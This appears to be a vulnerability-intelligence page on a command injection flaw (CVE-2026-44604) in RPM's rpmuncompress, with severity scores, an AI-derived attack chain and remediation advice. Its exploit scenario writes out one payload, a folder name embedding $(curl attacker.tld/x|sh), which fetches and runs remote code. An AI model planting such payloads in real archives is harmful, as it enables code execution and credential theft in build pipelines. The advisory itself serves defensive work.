Skip to main content
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft archive with metacharacter folder name
  2. Delivery
    Host archive on repo/mirror or send to target
  3. Exploit
    Victim runs rpmuncompress on archive
  4. Execution
    Shell interprets injected metacharacters
  5. Persist
    Arbitrary commands execute as extracting user
  6. Impact
    Pivot into build pipeline or steal credentials

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires (1) the victim to invoke rpmuncompress on an attacker-supplied archive in ZIP, 7z, or GEM format - RPM's native cpio payload path is not in scope per the description; (2) the archive must contain a top-level folder whose name embeds shell metacharacters; (3) UI:R means a human or automated workflow must initiate the extraction, the vulnerability does not self-trigger; and (4) AV:L means the attacker reaches rpmuncompress through local execution on the host, typically by delivering the archive via download, email, USB, or package-repository ingestion rather than direct network exploitation. Limiting factors: AC:H reflects that the attacker must control the archive's directory naming and that delivery to a vulnerable extraction workflow is non-trivial; PR:N means the attacker themselves needs no prior credentials on the target, but the resulting code executes only with the privileges of the user running rpmuncompress, which in CI/build contexts may still be substantial.

Impact

The CVSS 3.1 vector AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H scores 7.0 (High), driven by full CIA impact but tempered by local attack vector, high attack complexity, and required user interaction - the victim must be induced to run rpmuncompress against an attacker-controlled archive. No EPSS score, KEV listing, or POC availability is reported in the supplied intelligence, so this is no public exploit identified at time of analysis rather than confirmed active exploitation. Realistic risk is moderate: the bug is broadly reachable wherever RPM tooling auto-invokes rpmuncompress on untrusted archive inputs (e.g., automated build pipelines, repository ingestion, container image construction), which could elevate the practical attack vector closer to network-reachable supply-chain exposure even though CVSS scores it as AV:L. Security teams should treat this as a high priority for build infrastructure and developer workstations that process third-party archives, and as moderate priority for end-user RHEL desktops.

Exploit ScenarioDerived

An attacker publishes a crafted ZIP/7z/GEM archive on a third-party repository, package mirror, or supply-chain location whose top-level folder name embeds shell metacharacters such as $(curl attacker.tld/x|sh). A developer or build pipeline downloads the archive and runs rpmuncompress (directly or indirectly via rpmbuild/dnf) to extract it, at which point the shell interprets the injected payload and executes arbitrary commands as the extracting user, enabling credential theft, source tampering, or pivot into the build environment. No public exploit identified at time of analysis, but the bug is straightforward to weaponize once the unsafe command construction is located in source.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 28, 2026

Command injection in the rpmuncompress utility of RPM allows local attackers to execute arbitrary commands when a victim extracts a maliciously crafted ZIP, 7z, or GEM archive whose top-level folder name contains shell metacharacters. The flaw affects Red Hat Enterprise Linux 6 through 10 and downstream products including OpenShift Container Platform 4, Satellite 6, Red Hat Hardened Images, and Quarkus Native Builder. No public exploit identified at time of analysis, and the issue requires user interaction with an attacker-supplied archive, but successful exploitation yields full code execution under the extracting user's identity.

RemediationAI

Patch availability not independently confirmed from the supplied intelligence - monitor https://access.redhat.com/security/cve/CVE-2026-44604 and https://bugzilla.redhat.com/show_bug.cgi?id=2460967 for the released RHSA errata and apply the updated rpm package via dnf update rpm or yum update rpm on each affected RHEL 6/7/8/9/10 host, with corresponding rebuilds for OpenShift, Satellite, Hardened Images, Quarkus Native Builder, and Lightspeed. Until the patch is deployed, avoid invoking rpmuncompress (directly or transitively via rpmbuild/dnf workflows) on ZIP, 7z, or GEM archives obtained from untrusted sources; gate archive ingestion in CI/CD pipelines by validating that the top-level directory name in the archive contains only safe characters (alphanumerics, dot, dash, underscore) before extraction, recognizing that this adds a pre-processing step and may reject legitimate archives with unusual but benign names. Restrict the accounts under which automated extraction runs (least-privilege build users, containerized extraction with no-new-privileges and read-only host mounts) so that successful injection is contained to a low-impact identity.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

RPM (RPM Package Manager) is the foundational package management system for Red Hat-based Linux distributions. The rpmuncompress helper utility is invoked to extract auxiliary archive payloads in non-rpm formats (ZIP, 7z, and Ruby GEM) to a target directory. The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command): the utility constructs a shell command string that embeds the archive's top-level directory name without escaping or quoting it, so embedded shell metacharacters such as backticks, $(...), semicolons, or pipes are interpreted by the shell rather than treated as literal filename data. The affected component is bundled into the rpm package shipped with every supported RHEL release (6, 7, 8, 9, 10) as well as multiple Red Hat layered products that consume the same RPM tooling - Pen Drive Powered By Red Hat Lightspeed, Quarkus Native Builder, and Red Hat Hardened Images.

Know when Red Hat Enterprise Linux 10 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (redhat) PRIMARY 7.0 HIGH
AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
SUSE HIGH
Red Hat 7.0 MEDIUM

Primary rating from Vendor (redhat).

CVSS VectorVendor: redhat

Attack Vector
Local
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

A command injection vulnerability was discovered in the rpmuncompress utility of RPM. When extracting certain archive formats (ZIP, 7z, GEM) to a specified destination directory, the tool inserts the archive's top-level folder name into a shell command without properly sanitizing it. A specially crafted archive containing shell metacharacters in its folder name can execute arbitrary commands as the user running the extraction.

Executive ViewAI

Why It Matters

A command injection vulnerability in RPM's rpmuncompress utility affects Red Hat Enterprise Linux 6-10 and downstream products including OpenShift Container Platform, Satellite, and Hardened Images. Local attackers can execute arbitrary commands by distributing malicious archives with shell metacharacters in folder names, achieving full code execution under the extracting user's identity. No vendor patch is available, requiring immediate compensating controls deployment.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: disable rpmuncompress functionality where operationally feasible, isolate archive extraction to restricted sandboxed environments, implement strict file integrity monitoring and behavioral detection on extracted archives, enforce principle of least privilege for users handling archives, block or quarantine archives from untrusted sources, and conduct security awareness training on suspicious archive sources.

Threat Intelligence Overview

EPSS Score
0.0%
Top 94% exploitable
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Small
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

35
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +35
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Affected Products (CPE)CVE.org

cpe:2.3:a:red_hat:pen_drive_powered_by_red_hat_lightspeed:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_build_of_quarkus_native_builder:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_10:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_10:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_6:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_7:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_8:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_9:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_enterprise_linux_9:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_hardened_images:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_openshift_container_platform_4:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_satellite_6:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_satellite_6:*:*:*:*:*:*:*:*
cpe:2.3:a:red_hat:red_hat_satellite_6:*:*:*:*:*:*:*:*
CVE-2026-18663 MEDIUM
5.9 Aug 12

Heap corruption via double-free in 389-ds-base's LDAP control parsing allows an unauthenticated remote attacker to crash

CVE-2026-4631 CRITICAL POC
9.8 Apr 07

Remote code execution in Cockpit's web interface allows unauthenticated attackers to execute arbitrary commands on the h

CVE-2026-4480 CRITICAL POC
9.0 May 26

Remote code execution in Samba's printing subsystem allows remote attackers to inject arbitrary shell commands via craft

CVE-2026-101258 HIGH POC
7.8 Oct 06

Ghostscript can execute arbitrary shell commands with the privileges of its process when it renders a crafted PostScript

CVE-2026-96889 HIGH POC
7.8 Sep 23

Use-after-free in librsvg during rendering of crafted SVG documents with nested XInclude directives and duplicate entity

CVE-2026-4775 HIGH POC
7.8 Mar 24

A signed integer overflow vulnerability exists in the libtiff library's putcontig8bitYCbCr44tile function that leads to

CVE-2026-114406 MEDIUM POC
6.8 Oct 21

The system CA trust store shipped in Red Hat's ca-certificates RPM packages includes eMudhra root authorities that signe

CVE-2026-18922 CRITICAL
9.8 Sep 07

Authentication bypass in 389 Directory Server (shipped as Red Hat Directory Server 11-13 and within RHEL 6-10) lets remo

CVE-2026-14544 CRITICAL
9.8 Jul 03

Remote code execution and privilege escalation in HPLIP (HP Linux Imaging and Printing) affects the hpcups print filter

CVE-2026-76578 CRITICAL
9.8 Sep 07

Unauthenticated privilege escalation in FreeIPA (Red Hat Identity Management) allows a remote attacker to gain genuine a

CVE-2026-102560 CRITICAL
9.8 Sep 29

A heap buffer overflow exists in libsoup's WebSocket permessage-deflate compression path: when a very large outbound mes

CVE-2026-5121 HIGH
7.5 Mar 30

Remote code execution in libarchive on 32-bit systems allows unauthenticated attackers to execute arbitrary code via spe

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise Micro 5.3 Not-Affected
SUSE Linux Enterprise Micro 5.4 Not-Affected
SUSE Linux Enterprise Micro 5.5 Not-Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy